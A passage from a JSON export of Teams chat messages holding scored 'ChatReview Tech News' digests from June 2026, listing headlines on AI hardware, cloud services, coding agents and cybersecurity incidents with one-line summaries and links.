centers](https://news.google.com/rss/articles/CBMivwFBVV95cUxNR3Q0MzVDd1dXVGs4bFI0MGphNGQ2X195TXdzNTYyNG9jbFEwQzFnUklCd2xlQmxwSUFYemlld193Q2pWcW02S3FMV1JHLUQwcUs3dWhkYjFuLS1CVHRzR1R0cTZwUVNTd3QzNHJMY1A3VUdVUDBUd1Rjem9VX2FUNlFTMDVWUXFWaDNvaGJHUFI0cHNBZWNrN1hJUm5obXA5clk2U04xZC1hSE5mcnpPYXkxd0k2VmU4Zmk2d2JrTQ?oc=5)** \u2014 **Score: 31/35.** JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\\n  4. **[SK Hynix ships samples of next-generation HBM4E memory](https://news.google.com/rss/articles/CBMiuAFBVV95cUxOOWEzYzZRcVFwWVZqS3JYakY4azZJLVVqenRtSm1mSEs2Rm1zVHNkWUxMS1paWHRmdzFlbVRWZmRwckdRN2JhS2JudnRURTBWWlg2WTFKaUprVnNmb3Fsd0R4bnNCX0F0YzZsTHRTd3pqRnJjV2RNYTZCMDdFNl9NeU9vcTFhS1JTQmFZS2RYbHQtLWlFZjg1TFBkaWVpTFJJUXdrQk9ONFB2dUdhcWVVT2NTTURxdzVY?oc=5)** \u2014 **Score: 30/35.** SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\\n  5. **[US CHIPS award backs SandboxAQ materials discovery](https://news.google.com/rss/articles/CBMifEFVX3lxTE9NYm5qMGZpTm4zY0J5bU4wYkpvUVJETmZVemllZFpwNi1Wc19ZZ3JEYTB1SlRBUTZpa29mSTFKQzFiUjRYcjJxclN5MlZZZTRVRDh5cFg3NC1kbURFV3AtQ1EzdkRJSjNTcDgtYnAxaDAxMWpmdlhhZGFhYl8?oc=5)** \u2014 **Score: 30/35.** A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\\n  6. **[Apple warns device prices will rise with memory costs](https://news.google.com/rss/articles/CBMiWkFVX3lxTFBHMUFiLVBVQVhqRlhQSW5qRFU3aTFTcEt3YXBIaG5vejVBNmlvNVBqc2ZoMHppUEU0Wk1yTllLQl9OSDNTeTZJUlAwU3RHTHpfaWVqUWp4d1dWdw?oc=5)** \u2014 **Score: 29/35.** Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\\n  7. **[Researchers combine sensing, memory and processing for AI devices](https://news.google.com/rss/articles/CBMi5wJBVV95cUxOV3dLSXhwanhHUjR4UEVfc0tGZnJaMkpXZS04elBiMDhGX19VQ0ViQTJoZWVvNkRaeWRmSTlsa2pMeTVHcDItdWtYaDBMYlJPdWxkTk82TUUxamFzYk1mR21uelNFNk91RjluS3lqeHNkRGpqVlYxTTlxdmtiTnJ6UVpoS2FMUldBS3M3WWZMSDZRRjJDYlFOZzExM1ZBQWlOY1RHNnFtRUxjVVJWbzBVbUdUcHRkSTJxUTFyRWpuT0xGemh4dGxqZk14VldEQWhzeXo1OXQzOTQybk1iS1B0LW50RU9aVjQ4ZXJRdGFFdUdhOUE0UUREOWRMQmVUTjktRDk0Y3U1VDVXenNVOHo2bDRUZnFlc1Z4dTBUenFaMVpyc256a1A2NHEyOGhIRWwyRTBZOXl1QzBubXp1NVpldF9zTllObXdqOUZaTm1KbDBRZGtHTHdOZXlMOWhLc0VVVFBRT0Z4OA?oc=5)** \u2014 **Score: 29/35.** A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\\n  8. **[AI-assisted process targets next-generation 2D chips](https://news.google.com/rss/articles/CBMiV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNNIBV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNA?oc=5)** \u2014 **Score: 29/35.** Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\\n  9. **[Nvidia says AI infrastructure will expand manufacturing jobs](https://news.google.com/rss/articles/CBMiqAFBVV95cUxNakpBMVhhLVBxTHFXTjFwZGd5b1JDVjFaLUlqZXJmaW5TbC05N0ZuYUI5YjBoX2hlcGVKYURQOENIU25HOHN2T1lZYkxZdm5uN29kcWFmaGxGRkl1cVpJY1FYdXlMdldXSE9GbHJUVHJDUHRXdmlzNjFrbFkyeHBkQmpFUFQ3eElCVW9RMDhISWxtOGlXV3FlOEstR3VEY25iRjVrT29naTjSAa4BQVVfeXFMTXZOSjM2X0VTUVJocmRJWFpFMFZCSjMySFBjZjF3cTFaRTRkSW41cGlJbk90djV5ZFl6Ui1xWXpFOHBCOEIwRWNYQWhTMkJxMGowWElpZkQwZF9VdTVHN3ZxV1d4YkpwWU44b2FuLUxpVlZyejZ3SC1tS2tnZXJUTEEzZko4TEs5cWZwTlpEQWp4d2VhTVowOHZVZTJ6OEZuVTY5SnJhMFQ5TjhyUEt3?oc=5)** \u2014 **Score: 29/35.** Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\\n  10. **[Tencent-backed Enflame moves toward an AI-chip IPO](https://news.google.com/rss/articles/CBMitAFBVV95cUxQR29hd1R5b1k3XzZwN084WkEzTXp6LXRkdGJVaWJIREZ1OGg4QW96alh0V0cxUHZ5dEREOEJQTUhBSTk1X2pHTzFjWFpUN0ZadTZ0NVpLOHUzU0tQRk9NMGlVN3JPMFkwTlZEMVJxX2lhWHJFYTlqWnNWSm5xelh6WjZpeWtUblk0a21EUDJBaDgwWFkzcENvalNEMFpQZUJJbnFqWW9tQ0x2LUFoSDdzWVBRNkI?oc=5)** \u2014 **Score: 29/35.** Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\",\n>       \"created_at\": \"2026-06-19T10:01:35.479Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863294467\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863294467\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS DevOps Agent adds custom SRE agents and MCP/A2A access](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-custom-agents/)** \u2014 **Score: 33/35.** AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\\n  2. **[GitHub makes Copilot CLI more selective about delegation](https://github.blog/ai-and-ml/how-we-made-github-copilot-cli-more-selective-about-delegation/)** \u2014 **Score: 32/35.** GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\\n  3. **[Microsoft explains conflicts between coding-agent extensions](https://devblogs.microsoft.com/blog/when-your-agent-extensions-fight-each-other)** \u2014 **Score: 32/35.** Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\\n  4. **[Kimi K2.7-Code targets token-efficient agentic development](https://news.google.com/rss/articles/CBMilAFBVV95cUxOWWJ2UGhCZWVFR2xEc2c4UWxGc3M2bTVKTk4xR0tvQUJwUnJBRmNDR3lEN2lxTVZvakNudjlLOHE5d2hKZXM0OUMtVUZMaW1MSndZbUFSbUVNQVJDSVFQUnFtbzFuRkVYOUFFMmZ6TmdwRjJFN19yQXN5Z2Y0Uk5URi1jU0dsNFRtNDdZV01HbmJnTXVx?oc=5)** \u2014 **Score: 31/35.** Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\\n  5. **[Microsoft warns against overloading coding-agent skills](https://devblogs.microsoft.com/blog/stop-overloading-your-skills)** \u2014 **Score: 31/35.** Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\\n  6. **[GitHits funds open-source code search for coding agents](https://news.google.com/rss/articles/CBMi2wFBVV95cUxQYmtlYVg2M3FfWUlxV1gtV1p1U3o0dkp5ZmlPOWM3LVl6RU1GdFFKNWMydkxRbkZVS0dscmpLZFRWQm9yYlh0SWdSNy1iUGppM01wMnJZXzJnSzV6WTl2NS1zSnh0WlBMUHNnT0Z1YnBBWTJtYVZuNWF2SFdXNXhSNlVTOWZsV2hZdjM4MkJ5REZyLXZaY3FNU3VnRUdrMGxvQVRQbmZnWjJGYVY2cnVHcFN5alZLZXMxYzI2NEdxMFVEaWJVOEI4VGJHbVpqOS1VbHF2dWFsYmZEWlU?oc=5)** \u2014 **Score: 30/35.** GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\\n  7. **[CNCF details dependency lockdown for open-source CI/CD](https://www.cncf.io/blog/2026/06/12/securing-ci-cd-for-an-open-source-project-locking-down-dependencies/)** \u2014 **Score: 30/35.** CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\\n  8. **[AWS Glue adds Spark Connect for interactive development](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-interactive-sessions-spark-connect-smus-notebooks)** \u2014 **Score: 29/35.** Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\\n  9. **[EXANTE launches \u20ac1 million fund for critical open source](https://news.google.com/rss/articles/CBMiowFBVV95cUxPQ0JDVE9yd09rejMzUk12UFlRT3FJQU5ZWExiNV9sajNqUTFjTXp1OTJ5cDBhbkYtYVAxbFFQV05BbmZhMHFBM1RsWWxyVEEtZFFTX3QtTTF2WjBRcWFiaENqVXNtT0QxQ20ybVlIQ0RiWC1QM1VGMHZKRndxNjVzMHd5MmRGeFB6NWJXYTFzak9rYTB5enFCQjNBZl9udUluQzhn?oc=5)** \u2014 **Score: 28/35.** EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\\n  10. **[GitHub promotes pull-request limits for maintainer overload](https://github.blog/open-source/maintainers/how-pull-request-limits-are-cutting-down-the-noise/)** \u2014 **Score: 28/35.** GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\",\n>       \"created_at\": \"2026-06-19T10:01:34.467Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863293503\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863293503\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Transform previews automated FSx for ONTAP migration](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-vmware-fsx-for-ontap-preview)** \u2014 **Score: 32/35.** AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\\n  2. **[US Homeland Security awards AWS a $2.6 billion cloud contract](https://news.google.com/rss/articles/CBMilAFBVV95cUxPZUgxZ0hrd05pNGxaLVpRdjdFUWtyWXdzdWtWVzZ1NVZOeFNEY05Wa2R2NnphYnR4NGpCLU9HRnJ0cXYycWQtV1JVLUtGYV8xb0Q4X0tLT2VHaXo5ZnNuOFBsSFZ3T0w3cVBQODg5OTF3STI0MUhNeExXcW41VE5RWXVuT0Z6eVFJTjViWlNVSUtabG9q?oc=5)** \u2014 **Score: 31/35.** The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\\n  3. **[AWS Console Private Access works without internet connectivity](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-management-console-private/)** \u2014 **Score: 30/35.** Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\\n  4. **[AWS extends managed MySQL 5.7 support through June 2029](https://aws.amazon.com/about-aws/whats-new/2026/06/rds-mysql-es-extension/)** \u2014 **Score: 29/35.** Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\\n  5. **[Cloud-native and PyTorch conferences unite in China](https://news.google.com/rss/articles/CBMi1gFBVV95cUxOTUF3UFVYQm1ablY2Ny15RWVqN1MzWmV1LVczX3RnYjFoOUE3aTNsZEpydW05R2kxbGFvTndJSHJkX2ZRbXg4SGN1ZFhRS2hvYVVZRW5fMktSZkFyYnpiN04yWXBPYU5OUW9KLW9yLVNPSEdiRjVXXzgtekVUUE1QSEpIcHd6WXRjTUl4NnZNZTNwYkVETGlQeE1va2ZiM25xM01RNkFBQ1JPWGxlaG1vQmN5a0hhY29LSlNxLVVWZVRXc3MxNTZuczZtdGF2V2NDMU1aRGdB0gHWAUFVX3lxTE5NQXdQVVhCbVpuVjY3LXlFZWo3UzNaZXUtVzNfdGdiMWg5QTdpM2xkSnJ1bTlHaTFsYW9Od0lIcmRfZlFteDhIY3VkWFFLaG9hVVlFbl8yS1JmQXJiemI3TjJZcE9hTk5Rb0otb3ItU09IR2JGNVdfOC16RVRQTVBISkhwd3pZdGNNSXg2dk1lM3BiRURMaVB4TW9rZmIzbnEzTVE2QUFDUk9YbGVobW9CY3lrSGFjb0tKU3EtVVZlVFdzczE1Nm5zNm10YXZXY0MxTVpEZ0E?oc=5)** \u2014 **Score: 29/35.** KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\\n  6. **[NDAA proposal would codify CISA\u2019s vulnerability-program role](https://news.google.com/rss/articles/CBMixwFBVV95cUxQVGRpRzlwaFhhdnNJcnBtREYtUGR2a3ZYUU13bzZFbEJNcWsyakU1M2d6VUZmMkFITV9IMmVNZ0xPdl9hRzVlcFNGRXJyWktsTWJkQ0Z6RWUxc2xfbHRYelZyOEM4X0tWWmtmd09WVVJ5aGxqTzRQTHdpSnAwMHN4UHR5Z2gyb0plRUo5R2JCeUVMc240eG9PbjRFZU1DMURfVjlEcS1MTU1GWFhIRm9wZzg5UHI2aXFpYWVXU0N5UjQ4dGxLMENr?oc=5)** \u2014 **Score: 28/35.** A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\\n  7. **[Microsoft faces shareholder suit over AI spending and cloud disclosures](https://news.google.com/rss/articles/CBMiqwFBVV95cUxNUmJQUkh0dTUzZ2dITlpFWVp1ZGp4d0t2T3RYNHZMTVVra042ZVNYTk94R1dKdjM2cU0yWTh5cXNCVlVHTkFXRDFiT3ptRnNPeDUteGR1RDV5eWVoS3M4NFJsNDVpcHlVTVluQWViLUI0a29XR0JOaERIUXZnUTJ2V2VXSWs4MFBzMlFUR2NGNHJRcEFjUWptTU84dEZ2UllET0NWX2hsTDgwRDQ?oc=5)** \u2014 **Score: 28/35.** Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\\n  8. **[Alibaba Cloud expands in France amid sovereignty pressure](https://news.google.com/rss/articles/CBMixwFBVV95cUxNRWt4YVIzc3JfTTVSQkc1c1hUQktrNVpxRk9WbDU5cnlwMVVRanZvdlVTaDhPYkJVXzB4bmVGUDFtVE5XaVA3UUQ3dGR1aTJ6bWNHS2NDMXNlYVJBMWFJekc2czNrX25WM2M5Q0pqZG1rSnViQjkwSk5RdEkyX3BlMThPd3AtSW5Cd3BLYmp3SVJSd1dMU1hBVHpQQzBpb3J4M3ctRXlPWGp1dFlpOEJaOG1QdTU3a1NoOWxZTWdmMnEtNmFHUUNR0gHHAUFVX3lxTE1YUHlGUUZZd3BmLXFfVHpWY2ZKZGNPR3Q5MUZuZ09iTU5IZVpack9lN2Fud2FhRUd5WElYc3lUMjJncjlfN0h5eWxjWDhpMHZMbzJyQzlvRm9JTlBaa252dnUwcExlSUwtTHFCUld1M0Q1N3VZc19xYmlLVk9GaWcxb2h1RThBREpvNEMtdHlXb0g5YnVCLS1iRHRHcThyNjdROV9KSEx3VGw1Y2xZX0kySzBJT0RBdi1YQWlNQzNSLVJ1T0o1SEE?oc=5)** \u2014 **Score: 28/35.** Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\\n  9. **[AWS opens a Local Zone in Hanoi](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-local-zones-hanoi-vietnam/)** \u2014 **Score: 27/35.** AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\\n  10. **[Researchers turn retired smartphones into a mini cloud](https://news.google.com/rss/articles/CBMivwFBVV95cUxPRnE0ZVFnbXFZbnJZSEhVclNQS0RpMFRVQ181Ym05OUhxREM1NGpMY3B0NVozZzd0SGpnTUdHSzRuajBpTUhyeXZSY3NRN09LbFMtWmxJY1VCUkN4Y21tN2VPMUU0WFRuWl81eV9wd2lMcERQVERacEJfUlRFQ1J1b3kxcDA2YVV4a2pjVG9qTGJ3RUszeGxBOVpMNmVrTmExaEJrRURZaWJkV0dqUHBXeWF3RnhIVTc0ZlVnMlpDMA?oc=5)** \u2014 **Score: 24/35.** Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\",\n>       \"created_at\": \"2026-06-19T10:01:33.503Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863292556\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863292556\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Reported Copilot flaw could expose email and 2FA data](https://news.google.com/rss/articles/CBMikgFBVV95cUxNZkR6WGE0R0FBbV9IM2hfZGJxRTJFQ3YzZ19SNVRfRloyTWZ2MzY3QllrRE1Ic1U2TzNGMngxdVRGYUtCd1c2d25QdzFMd21rZWNOMFdkXzAyT0gyR19hQnlST2Nueml5M0xhYlhuNEJaWlVMSmpOazBabFdjb2luTjBtcl9UME9RdkI5OWRFZDMtdw?oc=5)** \u2014 **Score: 34/35.** A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\\n  2. **[Accenture spends $4.18 billion on industrial cybersecurity expansion](https://news.google.com/rss/articles/CBMimAFBVV95cUxOVHVwZGhCSUFwSGYzZzVxYm42U2tzd3RiWkZzQmVpUktwSXFILWZoSTNyektKRm5KZTlXQmx6ZU5DOW1xMV93emxtZkVPX1VwTFdDM0ZaTGZYT2IybG8zZ2x5dWJzSmhCTjVKbUR0RkViS3VRcmZLUnBaSHVPajdfNTNaOUV5R25aVzhpTWtzX0dmTzBSbXlZWQ?oc=5)** \u2014 **Score: 31/35.** Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\\n  3. **[CISA urges Fortinet hardening after credential exposure reports](https://news.google.com/rss/articles/CBMizgFBVV95cUxPbDFsVnY4dWpHODBDOHRnYm5nVm05OUlNQ2l5UUhzOHN6bjJidUtOQThqSHBBdHZvOVVydFJYeTNjSDcyVzM2SDlIcmw1RVVhQkx3VmVCWnRfVXU4bE1pQVBoMkJtVFNTNXBNMHV2Mkw0UURLM2RFb3dka0VFMmVudU94eFlrdk1oNXF2MlFKZll4OG9pRVRkNEUxTlZfMGpyTW1wTEFCcVRNX3I1MFY3Mmc1RDg0U3B0Zk1hNkkxUjQwc29YOXdnVzNkU245dw?oc=5)** \u2014 **Score: 30/35.** CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\\n  4. **[Novo Nordisk breach highlights development-pipeline risk](https://news.google.com/rss/articles/CBMijAFBVV95cUxQRnZnU1VRcnZNMWdxV0p2R2ZUcjdaMDdNSWl4S0J1ZFBuSThIa1B5Sk9Pa1RXLWdsYlZaWTBpWklEbVZXclNzMV9RbHJTWUNubmVpQXI5d0ZkVnpheGFlY2RBMFVuNkp3WnY2LWtvTV9ITHVfYlZkQXBoXzB0elJ4ekppU0swUzh1ZHlsSg?oc=5)** \u2014 **Score: 30/35.** The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\\n  5. **[White House tightens cybersecurity direction for national-security systems](https://news.google.com/rss/articles/CBMiigFBVV95cUxOMHhDeGpmTDNNWTFCUUp6emRJZmhBdWVrMkQyY3BUM0tSeXpsdlZfa2J0VmlHaEVXdFNDRmFic3BJem5VS1lESnpBRnQ4bllHNWxVbFE4RXFvVG9ZTEN3aGNPTkdLdVJBTDkzcVdfMlhxZ0stQmVaRVJZWlRLSlJtX0FZWjZ6UTl4bkHSAY8BQVVfeXFMT0YyZk5NVW9IUV9YZ0xhSGtTQzAtaHdwVG9rb3dhQ01RM255VUVucXRnYnFyMVBYWGRWUlU4eFhUYlRfREVGeXZqb3pLZ0FvNGw0by1hNEFSWlNZeEV5VjdYd0lNd0hjX1FUWXpVdVZld2JMOEt5aUlQY2ZITGs5X242Q2ptbENWcmt5RHV0eU0?oc=5)** \u2014 **Score: 29/35.** A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\\n  6. **[Law enforcement cleans nearly 15,000 SocGholish-infected sites](https://www.bleepingcomputer.com/news/security/law-enforcement-nukes-socgholish-malware-from-nearly-15-000-sites/)** \u2014 **Score: 27/35.** Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\\n  7. **[INC ransomware passes 830 reported victims](https://news.google.com/rss/articles/CBMihAFBVV95cUxQSzdpRjZ1ODlhMzZkbXpaOEdYTTBTZUpOTHhpVk8teU94a2dIMzBGRzJRdGlmNFVGX1FOWU5YZnItTHdWYjZPQ3ZXZTVxZWZKZ0treUl4bTdhRGo2bVlOT1ZYQk5BUkppUFhEaG91a3hub2JwdnJKLW1HaE1teE52OUFEXzA?oc=5)** \u2014 **Score: 26/35.** INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\\n  8. **[Gentlemen ransomware maintains multiple EDR-killer tools](https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/)** \u2014 **Score: 26/35.** Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\\n  9. **[HHS settles ransomware investigation with a health plan](https://news.google.com/rss/articles/CBMijAFBVV95cUxPRUJ6c09KWEJobHh1emVqZlpaZzV0MjFmVjJkMkhwUWN0d2VLbEtVYkxLeUZCakRBVzRyeXNkRFVSdGlHNVcwU2J5QUZ2cG4tUHZQdTVHenNVOUhua3BoN1lQV2JJajctLWFwY3FWdy1TdXNWOTZ6SWRQdWh1WGpDUUR2YnN1UDNyWEwyXw?oc=5)** \u2014 **Score: 26/35.** HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\\n  10. **[USB worm spreads wallet-stealing malware through Windows shortcuts](https://www.bleepingcomputer.com/news/security/usb-worm-spreads-crypto-stealing-malware-via-windows-shortcut-files/)** \u2014 **Score: 25/35.** A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\",\n>       \"created_at\": \"2026-06-19T10:01:32.556Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863097228\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as 